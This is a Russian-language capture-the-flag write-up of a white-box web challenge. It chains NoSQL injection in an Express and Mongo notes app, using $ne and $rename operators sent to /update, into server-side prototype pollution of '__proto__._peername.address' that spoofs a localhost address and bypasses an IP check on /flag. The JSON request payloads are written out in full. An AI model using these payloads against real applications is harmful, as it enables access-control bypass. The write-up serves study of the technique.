Prototype Pollution → Localhost BypassНедавно решал веб-челлендж на НТВ (white-box).
На первый взгляд — максимально простой сервис заметок на Express + Mongo. Но внутри оказалась очень интересная цепочка через server-side prototype pollution, которая приводит к обходу IP-проверки.
1️⃣ Первичный анализВ коде явно видно ограничение доступа к /flag:
app.get('/flag', (req, res) => {
const remoteAddress = req.connection.remoteAddress;
if (
remoteAddress === '127.0.0.1' ||
remoteAddress === '::1' ||
remoteAddress === '::ffff:127.0.0.1'
)То есть флаг доступен только при запросе с localhost.
Следовательно, задача — заставить сервер считать наш запрос локальным.
2️⃣
Точка входаОбращает на себя внимание эндпоинт обновления заметок /update:
await Note.findByIdAndUpdate(noteId, req.body);
Здесь:
- пользовательский ввод (req.body) передаётся напрямую в Mongo
- отсутствует фильтрация операторов ($set, $rename и т.д.)
- нет валидации структуры
Это типичный паттерн, приводящий к NoSQL injection.
3️⃣
Подтверждение NoSQL injectionРешил проверить, можно ли управлять выборкой документов:
POST /update
{
"noteId": {
"$ne": null
}
}
Сервер возвращает все заметки → значит можно управлять Mongo-запросом.
Это даёт контроль над фильтрацией и update-операторами.
4️⃣
Эскалация Prototype PollutionСледующий шаг — проверить, можно ли выйти за пределы обычных полей.
Использовал $rename, чтобы записать значение в специальный путь:
POST /update
{
"noteId": "ID",
"$rename": {
"title": "__proto__.test"
}
}
После этого приложение начинает вести себя нестабильно.
Данные записываются не в документ, а в прототип объектов это ключевой сигнал.
5️⃣
Что такое Prototype Pollution в данном контекстеВ JavaScript при обращении к свойству:
obj.prop
движок ищет его:
- в самом объекте
- затем в prototype (
proto)
- далее по цепочке
Если атакующий может записать значение в Object.prototype, его начинают видеть все обьекты.
В данном случае приводит к глобальному изменению поведения:
__proto__.something = value
6️⃣
Поиск точки использования (gadget)Теперь ключевой этап — найти, где polluted данные используются.
Очевидные варианты не дают результата:
__proto__.remoteAddress
__proto__.ip
Это означает, что remoteAddress не является обычным полем.
7️⃣
Важный момент — getterВ Node.js req.connection.remoteAddress — это не просто значение,
а вычисляемое свойство (getter), которое получает IP из внутренних структур сокета.
То есть важно не само поле remoteAddress, а источник, из которого оно берётся.
8️⃣
Поиск внутреннего источникаПри переборе вложенных и внутренних полей:
__proto__.connection.remoteAddress
__proto__.socket.remoteAddress
__proto__._peername.address
рабочим оказывается:
__proto__._peername.address
Это внутреннее поле, из которого Node берёт адрес клиента.
9️⃣
ЭксплуатацияТак как /create принимает только строки, сначала сохраняем нужное значение:
POST /update
{
"title": "::ffff:127.0.0.1",
"content": "x"
}
Далее переносим его в прототип:
POST /update
{
"noteId": "ID",
"$rename": {
"title": "__proto__._peername.address"
}
}
Это приводит к:
Object.prototype._peername.address = "::ffff:127.0.0.1"
1️⃣0️⃣
РезультатПри обращении к /flag getter использует _peername.address, который теперь берётся из prototype.
req.connection.remoteAddress
Сервер получает данные и считает запрос локальным:
::ffff:127.0.0.1
Итог➡️ NoSQL injection → доступ к Mongo operators
➡️ $rename → запись в
proto➡️ prototype pollution → глобальное изменение поведения объектов
➡️ использование внутреннего поля (_peername) → обход IP-проверки
ИнсайтPrototype pollution — это не просто “сломать объект”.
Это возможность повлиять на данные, которые используются внутри логики приложения, даже если они не передаются напрямую.